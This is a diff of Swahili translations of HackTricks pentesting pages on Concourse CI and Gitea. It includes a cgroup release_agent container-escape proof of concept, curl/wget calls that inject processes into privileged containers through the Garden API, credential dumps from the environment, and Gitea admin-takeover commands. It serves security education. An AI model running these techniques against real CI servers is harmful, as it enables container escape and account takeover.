Katika sehemu zilizopita tuliona jinsi ya **kutekeleza kazi yenye mamlaka na concourse**. Hii haitatoa ufikiaji sawa kabisa na bendera yenye mamlaka katika kontena la docker. Kwa mfano, huwezi kuona kifaa cha mfumo wa faili cha node katika /dev, hivyo kutoroka kunaweza kuwa "ngumu" zaidi.
|
||||
Katika sehemu zilizopita tuliona jinsi ya **kutekeleza kazi yenye mamlaka na concourse**. Hii haitatoa ufikiaji sawa kabisa wa kontena kama bendera yenye mamlaka katika kontena la docker. Kwa mfano, huwezi kuona kifaa cha mfumo wa faili cha node katika /dev, hivyo kutoroka kunaweza kuwa "ngumu" zaidi.
|
||||
|
||||
Katika PoC ifuatayo tutatumia release_agent kutoroka na marekebisho madogo:
|
||||
Katika PoC ifuatayo tutatumia release_agent kutoroka na mabadiliko madogo:
|
||||
```bash
|
||||
# Mounts the RDMA cgroup controller and create a child cgroup
|
||||
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
|
||||
@@ -260,9 +260,9 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
cat /output
|
||||
```
|
||||
> [!WARNING]
|
||||
> Kama unavyojua hii ni tu [**kutoroka kwa release_agent wa kawaida**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) tu kubadilisha njia ya cmd katika node
|
||||
> Kama unavyojua hii ni [**kutoroka kwa release_agent wa kawaida**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) tu ikibadilisha njia ya cmd katika node
|
||||
|
||||
#### Kutoroka hadi node kutoka kwa kontena la Worker
|
||||
#### Kutoroka hadi node kutoka kwa kontena la Kazi
|
||||
|
||||
Kutoroka kwa release_agent wa kawaida na mabadiliko madogo yanatosha kwa hili:
|
||||
```bash
|
||||
@@ -291,9 +291,9 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
# Reads the output
|
||||
cat /output
|
||||
```
|
||||
#### Kutoroka kwenye node kutoka kwenye Web container
|
||||
#### Kutoroka kwenye node kutoka kwenye chombo cha Mtandao
|
||||
|
||||
Hata kama web container ina baadhi ya ulinzi zilizozuiliwa **haifanyi kazi kama container yenye mamlaka ya kawaida** (kwa mfano, huwezi **kuunganisha** na **uwezo** ni **mdogo sana**, hivyo njia zote rahisi za kutoroka kutoka kwenye container hazifai).
|
||||
Hata kama chombo cha mtandao kina baadhi ya ulinzi uliozimwa, **hakikimbii kama chombo cha kawaida chenye mamlaka** (kwa mfano, huwezi **kuunganisha** na **uwezo** ni mdogo sana, hivyo njia zote rahisi za kutoroka kutoka kwenye chombo hazifai).
|
||||
|
||||
Hata hivyo, inahifadhi **akili za ndani kwa maandiko wazi**:
|
||||
```bash
|
||||
@@ -304,9 +304,9 @@ env | grep -i local_user
|
||||
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
|
||||
CONCOURSE_ADD_LOCAL_USER=test:test
|
||||
```
|
||||
Unaweza kutumia akreditivu hizo ku **ingia kwenye seva ya wavuti** na **kuunda kontena lenye mamlaka na kutoroka hadi kwenye node**.
|
||||
Unaweza kutumia akreditivu hizo ku **ingia kwenye seva ya wavuti** na **kuunda kontena lenye mamlaka na kutoroka hadi nodi**.
|
||||
|
||||
Katika mazingira unaweza pia kupata taarifa za **kufikia postgresql** ambayo concourse inatumia (anwani, **jina la mtumiaji**, **nenosiri** na hifadhidata pamoja na taarifa nyingine):
|
||||
Katika mazingira unaweza pia kupata taarifa za **kufikia postgresql** ambayo concourse inatumia (anwani, **jina la mtumiaji**, **nenosiri** na hifadhidata miongoni mwa taarifa nyingine):
|
||||
```bash
|
||||
env | grep -i postg
|
||||
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
|
||||
@@ -332,12 +332,12 @@ select * from users;
|
||||
> [!WARNING]
|
||||
> Hizi ni baadhi ya maelezo ya kuvutia kuhusu huduma, lakini kwa sababu inasikiliza tu kwenye localhost, maelezo haya hayataleta athari ambazo hatujashambulia tayari
|
||||
|
||||
Kwa default, kila mfanyakazi wa concourse atakuwa akifanya kazi na huduma ya [**Garden**](https://github.com/cloudfoundry/garden) kwenye bandari 7777. Huduma hii inatumika na Mkurugenzi wa Mtandao kuonyesha mfanyakazi **kile anahitaji kutekeleza** (kupakua picha na kuendesha kila kazi). Hii inasikika vizuri kwa mshambuliaji, lakini kuna ulinzi mzuri:
|
||||
Kwa default, kila mfanyakazi wa concourse atakuwa akifanya kazi na huduma ya [**Garden**](https://github.com/cloudfoundry/garden) kwenye bandari 7777. Huduma hii inatumika na Mchambuzi wa Mtandao kuonyesha mfanyakazi **kile anahitaji kutekeleza** (kupakua picha na kuendesha kila kazi). Hii inasikika vizuri kwa mshambuliaji, lakini kuna ulinzi mzuri:
|
||||
|
||||
- Inapatikana tu **kitaifa** (127..0.0.1) na nadhani wakati mfanyakazi anajiandikisha dhidi ya Mtandao na huduma maalum ya SSH, tunnel inaundwa ili seva ya wavuti iweze **kuzungumza na kila huduma ya Garden** ndani ya kila mfanyakazi.
|
||||
- Inapatikana tu **katika eneo la ndani** (127..0.0.1) na nadhani wakati mfanyakazi anajiandikisha dhidi ya Mtandao na huduma maalum ya SSH, tunnel inaundwa ili seva ya wavuti iweze **kuzungumza na kila huduma ya Garden** ndani ya kila mfanyakazi.
|
||||
- Seva ya wavuti **inasimamia kontena zinazoendesha kila sekunde chache**, na kontena **zisizotarajiwa** zinatolewa. Hivyo ikiwa unataka **kuendesha kontena maalum** unahitaji **kuingilia** kati ya **mawasiliano** kati ya seva ya wavuti na huduma ya garden.
|
||||
|
||||
Wafanyakazi wa Concourse wanaendesha kwa ruhusa za juu za kontena:
|
||||
Wafanyakazi wa concourse wanaendesha kwa ruhusa za juu za kontena:
|
||||
```
|
||||
Container Runtime: docker
|
||||
Has Namespaces:
|
||||
@@ -348,14 +348,14 @@ Capabilities:
|
||||
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
|
||||
Seccomp: disabled
|
||||
```
|
||||
Hata hivyo, mbinu kama **kuunganisha** kifaa cha /dev cha node au release_agent **hazitafanya kazi** (kwa sababu kifaa halisi chenye mfumo wa faili wa node hakiwezi kupatikana, ni kifaa cha virtual tu). Hatuwezi kufikia michakato ya node, hivyo kutoroka kutoka kwa node bila exploits za kernel kunakuwa ngumu.
|
||||
Hata hivyo, mbinu kama **kuunganisha** kifaa cha /dev cha node au release_agent **hazitafanya kazi** (kwa sababu kifaa halisi chenye mfumo wa faili wa node hakipatikani, ni kifaa cha virtual tu). Hatuwezi kufikia michakato ya node, hivyo kutoroka kutoka kwa node bila exploits za kernel kunakuwa ngumu.
|
||||
|
||||
> [!NOTE]
|
||||
> Katika sehemu iliyopita tuliona jinsi ya kutoroka kutoka kwa kontena lenye mamlaka, hivyo ikiwa tunaweza **kutekeleza** amri katika **kontena lenye mamlaka** lililoundwa na **mfanyakazi** **wa sasa**, tunaweza **kutoroka hadi node**.
|
||||
|
||||
Kumbuka kwamba nilipokuwa nikicheza na concourse niliona kwamba wakati kontena jipya linazaliwa ili kuendesha kitu, michakato ya kontena inapatikana kutoka kwa kontena la mfanyakazi, hivyo ni kama kontena kuunda kontena jipya ndani yake.
|
||||
Kumbuka kwamba nilipokuwa nikicheza na concourse niliona kwamba wakati kontena jipya linazaliwa ili kufanikisha kitu, michakato ya kontena inapatikana kutoka kwa kontena la mfanyakazi, hivyo ni kama kontena kuunda kontena jipya ndani yake.
|
||||
|
||||
**Kuingia ndani ya kontena lenye mamlaka linaloendesha**
|
||||
**Kuingia ndani ya kontena lenye mamlaka linalofanya kazi**
|
||||
```bash
|
||||
# Get current container
|
||||
curl 127.0.0.1:7777/containers
|
||||
@@ -387,7 +387,7 @@ wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],
|
||||
--header='Content-Type:application/json' \
|
||||
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
|
||||
```
|
||||
Hata hivyo, seva ya wavuti inakagua kila sekunde chache kontena zinazotembea, na ikiwa kontena isiyotarajiwa itagundulika, itafutwa. Kadri mawasiliano yanavyofanyika katika HTTP, unaweza kuingilia mawasiliano ili kuepuka kufutwa kwa kontena zisizotarajiwa:
|
||||
Hata hivyo, seva ya wavuti inakagua kila sekunde chache kontena zinazotembea, na ikiwa kontena isiyotarajiwa itagunduliwa, itafutwa. Kadri mawasiliano yanavyofanyika katika HTTP, unaweza kuingilia mawasiliano ili kuepuka kufutwa kwa kontena zisizotarajiwa:
|
||||
```
|
||||
GET /containers HTTP/1.1.
|
||||
Host: 127.0.0.1:7777.
|
||||
|
||||
@@ -8,14 +8,14 @@
|
||||
|
||||
#### With Docker-Compose
|
||||
|
||||
Hii faili ya docker-compose inarahisisha usakinishaji ili kufanya majaribio na concourse:
|
||||
Hii faili ya docker-compose inarahisisha usanikishaji wa kufanya majaribio na concourse:
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml
|
||||
docker-compose up -d
|
||||
```
|
||||
Unaweza kupakua amri ya `fly` kwa ajili ya OS yako kutoka mtandao katika `127.0.0.1:8080`
|
||||
|
||||
#### Kwa Kubernetes (Inapendekezwa)
|
||||
#### Pamoja na Kubernetes (Inapendekezwa)
|
||||
|
||||
Unaweza kwa urahisi kupeleka concourse katika **Kubernetes** (katika **minikube** kwa mfano) kwa kutumia helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
|
||||
```bash
|
||||
@@ -67,9 +67,9 @@ secret: MWYyZDFlMmU2N2Rm
|
||||
|
||||
' | kubectl apply -f -
|
||||
```
|
||||
### Create Pipeline
|
||||
### Unda Pipeline
|
||||
|
||||
Pipeline inajumuisha orodha ya [Jobs](https://concourse-ci.org/jobs.html) ambayo ina orodha iliyopangwa ya [Steps](https://concourse-ci.org/steps.html).
|
||||
Pipeline inaundwa na orodha ya [Jobs](https://concourse-ci.org/jobs.html) ambayo ina orodha iliyopangwa ya [Steps](https://concourse-ci.org/steps.html).
|
||||
|
||||
### Steps
|
||||
|
||||
@@ -79,7 +79,7 @@ Aina kadhaa tofauti za hatua zinaweza kutumika:
|
||||
- hatua ya [`get` step](https://concourse-ci.org/get-step.html) inapata [resource](https://concourse-ci.org/resources.html)
|
||||
- hatua ya [`put` step](https://concourse-ci.org/put-step.html) inasasisha [resource](https://concourse-ci.org/resources.html)
|
||||
- hatua ya [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) inakamilisha [pipeline](https://concourse-ci.org/pipelines.html)
|
||||
- hatua ya [`load_var` step](https://concourse-ci.org/load-var-step.html) inachukua thamani katika [local var](https://concourse-ci.org/vars.html#local-vars)
|
||||
- hatua ya [`load_var` step](https://concourse-ci.org/load-var-step.html) inaloadi thamani kwenye [local var](https://concourse-ci.org/vars.html#local-vars)
|
||||
- hatua ya [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) inaendesha hatua kwa pamoja
|
||||
- hatua ya [`do` step](https://concourse-ci.org/do-step.html) inaendesha hatua kwa mpangilio
|
||||
- mrekebishaji wa hatua ya [`across` step](https://concourse-ci.org/across-step.html#schema.across) inaendesha hatua mara nyingi; mara moja kwa kila mchanganyiko wa thamani za mabadiliko
|
||||
@@ -87,9 +87,9 @@ Aina kadhaa tofauti za hatua zinaweza kutumika:
|
||||
|
||||
Kila [step](https://concourse-ci.org/steps.html) katika [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) inaendesha katika **konteina yake mwenyewe**. Unaweza kuendesha chochote unachotaka ndani ya konteina _(yaani, endesha majaribio yangu, endesha hii bash script, jenga picha hii, nk.)_. Hivyo basi, ikiwa una kazi yenye hatua tano, Concourse itaunda konteina tano, moja kwa kila hatua.
|
||||
|
||||
Kwa hiyo, inawezekana kuashiria aina ya konteina ambayo kila hatua inahitaji kuendesha ndani yake.
|
||||
Kwa hivyo, inawezekana kuashiria aina ya konteina ambayo kila hatua inahitaji kuendesha ndani yake.
|
||||
|
||||
### Simple Pipeline Example
|
||||
### Mfano wa Rahisi wa Pipeline
|
||||
```yaml
|
||||
jobs:
|
||||
- name: simple
|
||||
@@ -123,21 +123,21 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch
|
||||
# From another console
|
||||
fly -t tutorial intercept --job pipe-name/simple
|
||||
```
|
||||
Check **127.0.0.1:8080** to see the pipeline flow.
|
||||
Angalia **127.0.0.1:8080** ili kuona mtiririko wa pipeline.
|
||||
|
||||
### Bash script with output/input pipeline
|
||||
### Bash script na pipeline ya matokeo/ingizo
|
||||
|
||||
Ni **uwezekano wa kuhifadhi matokeo ya kazi moja kwenye faili** na kuashiria kwamba ni pato na kisha kuashiria ingizo la kazi inayofuata kama pato la kazi ya awali. Kile ambacho concourse hufanya ni **kuweka saraka ya kazi ya awali katika kazi mpya ambapo unaweza kufikia faili zilizoundwa na kazi ya awali**.
|
||||
Inawezekana **kuhifadhi matokeo ya kazi moja katika faili** na kuashiria kwamba ni matokeo na kisha kuashiria ingizo la kazi inayofuata kama matokeo ya kazi ya awali. Kile ambacho concourse inafanya ni **kuunganisha directory ya kazi ya awali katika kazi mpya ambapo unaweza kufikia faili zilizoundwa na kazi ya awali**.
|
||||
|
||||
### Triggers
|
||||
|
||||
Huhitaji kuanzisha kazi kwa mikono kila wakati unapotaka kuzifanya, unaweza pia kuzipanga zifanyike kila wakati:
|
||||
|
||||
- Wakati fulani unapita: [Time resource](https://github.com/concourse/time-resource/)
|
||||
- Kwa kujitolea mpya kwenye tawi kuu: [Git resource](https://github.com/concourse/git-resource)
|
||||
- Kwa commits mpya kwenye tawi kuu: [Git resource](https://github.com/concourse/git-resource)
|
||||
- PR mpya: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
|
||||
- Pakua au sukuma picha ya hivi karibuni ya programu yako: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
|
||||
|
||||
Angalia mfano wa YAML pipeline unaoanzisha kwenye kujitolea mpya kwa master katika [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
|
||||
Angalia mfano wa YAML pipeline unaoanzishwa kwa commits mpya kwenye master katika [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,28 +1,28 @@
|
||||
# Gitea Security
|
||||
# Usalama wa Gitea
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is Gitea
|
||||
## Nini Gitea
|
||||
|
||||
**Gitea** ni **ufumbuzi wa mwenyeji wa jamii unaosimamiwa kwa urahisi wa kuhifadhi msimbo** ulioandikwa kwa Go.
|
||||
|
||||
.png>)
|
||||
|
||||
### Basic Information
|
||||
### Taarifa za Msingi
|
||||
|
||||
{{#ref}}
|
||||
basic-gitea-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Lab
|
||||
## Maabara
|
||||
|
||||
Ili kuendesha mfano wa Gitea kwa ndani unaweza tu kuendesha kontena la docker:
|
||||
```bash
|
||||
docker run -p 3000:3000 gitea/gitea
|
||||
```
|
||||
Connect to port 3000 to access the web page.
|
||||
Unganisha kwenye bandari 3000 ili ufikie ukurasa wa wavuti.
|
||||
|
||||
You could also run it with kubernetes:
|
||||
Unaweza pia kuendesha kwa kutumia kubernetes:
|
||||
```
|
||||
helm repo add gitea-charts https://dl.gitea.io/charts/
|
||||
helm install gitea gitea-charts/gitea
|
||||
@@ -31,40 +31,40 @@ helm install gitea gitea-charts/gitea
|
||||
|
||||
- Repos za umma: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
|
||||
- Watumiaji waliosajiliwa: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
|
||||
- Mashirika yaliyojregistered: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
|
||||
- Mashirika yaliyosajiliwa: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
|
||||
|
||||
Kumbuka kwamba kwa **kawaida Gitea inaruhusu watumiaji wapya kujiandikisha**. Hii haitatoa ufikiaji wa kuvutia kwa watumiaji wapya juu ya repos za mashirika/watumiaji wengine, lakini **mtumiaji aliyeingia** anaweza kuwa na uwezo wa **kuangalia repos au mashirika zaidi**.
|
||||
Kumbuka kwamba kwa **kawaida Gitea inaruhusu watumiaji wapya kujisajili**. Hii haitatoa ufikiaji wa kuvutia kwa watumiaji wapya juu ya repos za mashirika/watumiaji wengine, lakini **mtumiaji aliyeingia** anaweza kuwa na uwezo wa **kuangalia repos au mashirika zaidi**.
|
||||
|
||||
## Ukatili wa Ndani
|
||||
|
||||
Kwa hali hii tunaenda kudhani kwamba umepata ufikiaji wa akaunti ya github.
|
||||
|
||||
### Kwa Misingi ya Mtumiaji/Keki ya Mtandao
|
||||
### Kwa Kutumia Akida za Mtumiaji/Keki ya Mtandao
|
||||
|
||||
Ikiwa kwa namna fulani tayari una misingi ya mtumiaji ndani ya shirika (au umepora keki ya kikao) unaweza **kuingia tu** na kuangalia ni **idhana gani una** juu ya **repos,** katika **timu zipi** ulizo, **orodhesha watumiaji wengine**, na **repos zimewezeshwaje.**
|
||||
Ikiwa kwa namna fulani tayari una akida za mtumiaji ndani ya shirika (au umepora keki ya kikao) unaweza **kuingia tu** na kuangalia ni **idhana gani unazo** juu ya **repos,** katika **timu zipi** ulizo, **orodhesha watumiaji wengine**, na **jinsi repos zinavyolindwa.**
|
||||
|
||||
Kumbuka kwamba **2FA inaweza kutumika** hivyo utaweza kufikia habari hii tu ikiwa unaweza pia **kupita ukaguzi huo**.
|
||||
Kumbuka kwamba **2FA inaweza kutumika** hivyo utaweza kupata taarifa hii tu ikiwa unaweza pia **kupita ukaguzi huo**.
|
||||
|
||||
> [!NOTE]
|
||||
> Kumbuka kwamba ikiwa **utafanikiwa kupora keki ya `i_like_gitea`** (sasa imewekwa na SameSite: Lax) unaweza **kujifanya kuwa mtumiaji** bila kuhitaji misingi au 2FA.
|
||||
> Kumbuka kwamba ikiwa **utafanikiwa kupora keki ya `i_like_gitea`** (sasa imewekwa na SameSite: Lax) unaweza **kujifanya kuwa mtumiaji** bila kuhitaji akida au 2FA.
|
||||
|
||||
### Kwa Funguo za SSH za Mtumiaji
|
||||
### Kwa Kutumia Funguo za SSH za Mtumiaji
|
||||
|
||||
Gitea inaruhusu **watumiaji** kuweka **funguo za SSH** ambazo zitatumika kama **njia ya uthibitisho ya kupeleka msimbo** kwa niaba yao (hakuna 2FA inayotumika).
|
||||
|
||||
Kwa funguo hii unaweza kufanya **mabadiliko katika repos ambapo mtumiaji ana baadhi ya mamlaka**, hata hivyo huwezi kuitumia kufikia api ya gitea ili kuainisha mazingira. Hata hivyo, unaweza **kuainisha mipangilio ya ndani** ili kupata habari kuhusu repos na mtumiaji ulionao ufikiaji:
|
||||
Kwa funguo hii unaweza kufanya **mabadiliko katika hifadhi ambapo mtumiaji ana baadhi ya mamlaka**, hata hivyo huwezi kuitumia kufikia api ya gitea ili kuainisha mazingira. Hata hivyo, unaweza **kuainisha mipangilio ya ndani** ili kupata taarifa kuhusu repos na mtumiaji ulionao ufikiaji:
|
||||
```bash
|
||||
# Go to the the repository folder
|
||||
# Get repo config and current user name and email
|
||||
git config --list
|
||||
```
|
||||
Ikiwa mtumiaji ameweka jina lake la mtumiaji kama jina lake la gitea unaweza kufikia **funguo za umma alizoweka** katika akaunti yake kwenye _https://github.com/\<gitea_username>.keys_, unaweza kuangalia hili kuthibitisha kuwa funguo binafsi ulizozipata zinaweza kutumika.
|
||||
Ikiwa mtumiaji ameweka jina lake la mtumiaji kama jina lake la gitea unaweza kufikia **funguo za umma alizoweka** kwenye akaunti yake katika _https://github.com/\<gitea_username>.keys_, unaweza kuangalia hili kuthibitisha kuwa funguo binafsi ulizozipata zinaweza kutumika.
|
||||
|
||||
**Funguo za SSH** pia zinaweza kuwekwa katika hifadhi kama **funguo za kutekeleza**. Mtu yeyote mwenye ufikiaji wa funguo hii ataweza **kuanzisha miradi kutoka kwenye hifadhi**. Kawaida katika seva yenye funguo tofauti za kutekeleza, faili ya ndani **`~/.ssh/config`** itakupa taarifa kuhusu funguo inayohusiana.
|
||||
|
||||
#### Funguo za GPG
|
||||
|
||||
Kama ilivyoelezwa [**hapa**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) wakati mwingine inahitajika kusaini ahadi au unaweza kugundulika.
|
||||
Kama ilivyoelezwa [**hapa**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) wakati mwingine inahitajika kusaini mabadiliko au unaweza kugunduliwa.
|
||||
|
||||
Angalia kwa ndani ikiwa mtumiaji wa sasa ana funguo yoyote kwa:
|
||||
```shell
|
||||
@@ -78,9 +78,9 @@ Token ya mtumiaji inaweza kutumika **badala ya nenosiri** ili **kuhakiki** dhidi
|
||||
|
||||
### Kwa Programu ya Oauth
|
||||
|
||||
Kwa utangulizi kuhusu [**Programu za Gitea Oauth angalia taarifa za msingi**](./#with-oauth-application).
|
||||
Kwa utangulizi kuhusu [**Programu za Oauth za Gitea angalia taarifa za msingi**](./#with-oauth-application).
|
||||
|
||||
Mshambuliaji anaweza kuunda **Programu ya Oauth yenye uharibifu** ili kupata data/hatua za kibali za watumiaji wanaokubali labda kama sehemu ya kampeni ya uvuvi.
|
||||
Mshambuliaji anaweza kuunda **Programu ya Oauth yenye uharibifu** ili kupata data/hatua za kipaumbele za watumiaji wanaokubali labda kama sehemu ya kampeni ya uvuvi.
|
||||
|
||||
Kama ilivyoelezwa katika taarifa za msingi, programu itakuwa na **ufikiaji kamili juu ya akaunti ya mtumiaji**.
|
||||
|
||||
@@ -90,41 +90,41 @@ Katika Github tuna **github actions** ambazo kwa default hupata **token yenye uf
|
||||
|
||||
- **Washa Push**: Ikiwa mtu yeyote mwenye ufikiaji wa kuandika anaweza kusukuma kwenye tawi, sukuma tu.
|
||||
- **Orodha ya Push zilizozuiliwa**: Kwa njia ile ile, ikiwa wewe ni sehemu ya orodha hii sukuma kwenye tawi.
|
||||
- **Washa Orodha ya Merging**: Ikiwa kuna orodha ya merging, unahitaji kuwa ndani yake.
|
||||
- **Hitaji idhini ni kubwa kuliko 0**: Kisha... unahitaji kumaliza mtumiaji mwingine.
|
||||
- **Zuia idhini kwa watumiaji waliotajwa**: Ikiwa ni watumiaji waliotajwa pekee wanaweza kuidhinisha... unahitaji kumaliza mtumiaji mwingine aliye ndani ya orodha hiyo.
|
||||
- **Futa idhini za zamani**: Ikiwa idhini haziondolewa na commits mpya, unaweza kuingilia PR iliyothibitishwa tayari ili kuingiza msimbo wako na kuunganisha PR.
|
||||
- **Washa Orodha ya Merging**: Ikiwa kuna orodha ya merging, unahitaji kuwa ndani yake
|
||||
- **Hitaji idhini ni kubwa kuliko 0**: Kisha... unahitaji kumaliza mtumiaji mwingine
|
||||
- **Zuia idhini kwa watumiaji walioko kwenye orodha**: Ikiwa ni watumiaji walioko kwenye orodha pekee wanaweza kuidhinisha... unahitaji kumaliza mtumiaji mwingine aliye ndani ya orodha hiyo
|
||||
- **Futa idhini za zamani**: Ikiwa idhini haziondolewa na commits mpya, unaweza kuiba PR iliyothibitishwa tayari ili kuingiza msimbo wako na kuunganisha PR.
|
||||
|
||||
Kumbuka kwamba **ikiwa wewe ni admin wa org/repo** unaweza kupita ulinzi.
|
||||
|
||||
### Kuorodhesha Webhooks
|
||||
|
||||
**Webhooks** zinaweza **kutuma taarifa maalum za gitea mahali fulani**. Unaweza kuwa na uwezo wa **kuitumia mawasiliano hayo**.\
|
||||
Hata hivyo, kawaida **siri** ambayo huwezi **kuipata** imewekwa katika **webhook** ambayo itazuiya watumiaji wa nje wanaojua URL ya webhook lakini si siri kuweza **kuitumia webhook hiyo**.\
|
||||
Lakini katika matukio mengine, watu badala ya kuweka **siri** mahali pake, wana **iweka katika URL** kama parameter, hivyo **kuangalia URLs** kunaweza kukuruhusu **kupata siri** na maeneo mengine ambayo unaweza kuendeleza zaidi.
|
||||
Hata hivyo, kawaida **siri** ambayo huwezi **kuipata** imewekwa katika **webhook** ambayo itazuia watumiaji wa nje wanaojua URL ya webhook lakini si siri kuweza **kuitumia webhook hiyo**.\
|
||||
Lakini katika matukio mengine, watu badala ya kuweka **siri** mahali pake, wanaweza **kuweka katika URL** kama parameter, hivyo **kuangalia URLs** kunaweza kukuruhusu **kupata siri** na maeneo mengine ambayo unaweza kuendeleza zaidi.
|
||||
|
||||
Webhooks zinaweza kuwekwa katika **repo na katika kiwango cha org**.
|
||||
Webhooks zinaweza kuwekwa katika **repo na ngazi ya org**.
|
||||
|
||||
## Baada ya Kutumia
|
||||
## Baada ya Utekelezaji
|
||||
|
||||
### Ndani ya seva
|
||||
|
||||
Ikiwa kwa namna fulani umeweza kuingia ndani ya seva ambapo gitea inafanya kazi unapaswa kutafuta faili ya usanidi wa gitea. Kwa default iko katika `/data/gitea/conf/app.ini`
|
||||
Ikiwa kwa namna fulani umeweza kuingia ndani ya seva ambapo gitea inafanya kazi unapaswa kutafuta faili ya usanidi wa gitea. Kwa default inapatikana katika `/data/gitea/conf/app.ini`
|
||||
|
||||
Katika faili hii unaweza kupata **funguo** na **nenosiri**.
|
||||
|
||||
Katika njia ya gitea (kwa default: /data/gitea) unaweza pia kupata taarifa za kuvutia kama:
|
||||
|
||||
- DB ya **sqlite**: Ikiwa gitea haitumii db ya nje itatumia db ya sqlite.
|
||||
- DB ya **sqlite**: Ikiwa gitea haitumii db ya nje itatumia db ya sqlite
|
||||
- **sessions** ndani ya folda za sessions: Ukikimbia `cat sessions/*/*/*` unaweza kuona majina ya watumiaji walioingia (gitea inaweza pia kuhifadhi sessions ndani ya DB).
|
||||
- **jwt private key** ndani ya folda ya jwt.
|
||||
- Taarifa zaidi **nyeti** zinaweza kupatikana katika folda hii.
|
||||
- **funguo ya siri ya jwt** ndani ya folda ya jwt
|
||||
- Taarifa zaidi **nyeti** zinaweza kupatikana katika folda hii
|
||||
|
||||
Ikiwa uko ndani ya seva unaweza pia **kutumia `gitea` binary** kupata/kubadilisha taarifa:
|
||||
|
||||
- `gitea dump` itatoa gitea na kuunda faili .zip.
|
||||
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` itaunda token ya aina iliyoonyeshwa (kuhifadhi).
|
||||
- `gitea admin user change-password --username admin --password newpassword` Badilisha nenosiri.
|
||||
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Unda mtumiaji mpya wa admin na pata token ya ufikiaji.
|
||||
- `gitea dump` itatoa gitea na kuunda faili .zip
|
||||
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` itaunda token ya aina iliyoonyeshwa (kuhifadhi)
|
||||
- `gitea admin user change-password --username admin --password newpassword` Badilisha nenosiri
|
||||
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Unda mtumiaji mpya wa admin na pata token ya ufikiaji
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,103 +1,103 @@
|
||||
# Basic Gitea Information
|
||||
# Msingi wa Taarifa za Gitea
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Structure
|
||||
## Muundo wa Msingi
|
||||
|
||||
Muundo wa msingi wa mazingira ya Gitea ni kuunganisha repos kwa **organization(s),** kila moja inaweza kuwa na **repositories kadhaa** na **teams kadhaa.** Hata hivyo, kumbuka kwamba kama ilivyo katika github, watumiaji wanaweza kuwa na repos nje ya shirika.
|
||||
Muundo wa mazingira ya Gitea ni kuunganisha repos kwa **shirika(s),** kila moja inaweza kuwa na **hifadhi kadhaa** na **timu kadhaa.** Hata hivyo, kumbuka kwamba kama ilivyo katika github, watumiaji wanaweza kuwa na repos nje ya shirika.
|
||||
|
||||
Zaidi ya hayo, **mtumiaji** anaweza kuwa **mwanachama** wa **mashirika tofauti.** Ndani ya shirika, mtumiaji anaweza kuwa na **idhini tofauti juu ya kila repository.**
|
||||
Zaidi ya hayo, **mtumiaji** anaweza kuwa **mwanachama** wa **mashirika tofauti.** Ndani ya shirika, mtumiaji anaweza kuwa na **idhini tofauti juu ya kila hifadhi.**
|
||||
|
||||
Mtumiaji pia anaweza kuwa **sehemu ya teams tofauti** zikiwa na idhini tofauti juu ya repos tofauti.
|
||||
Mtumiaji pia anaweza kuwa **sehemu ya timu tofauti** zikiwa na idhini tofauti juu ya repos tofauti.
|
||||
|
||||
Na hatimaye, **repositories zinaweza kuwa na mifumo maalum ya ulinzi.**
|
||||
Na hatimaye, **hifadhi zinaweza kuwa na mifumo maalum ya ulinzi.**
|
||||
|
||||
## Permissions
|
||||
## Idhini
|
||||
|
||||
### Organizations
|
||||
### Mashirika
|
||||
|
||||
Wakati **shirika linaundwa,** timu inayoitwa **Owners** inaundwa na mtumiaji anawekwa ndani yake. Timu hii itatoa **ufikiaji wa admin** juu ya **shirika,** hizo **idhini** na **jina** la timu **haziwezi kubadilishwa.**
|
||||
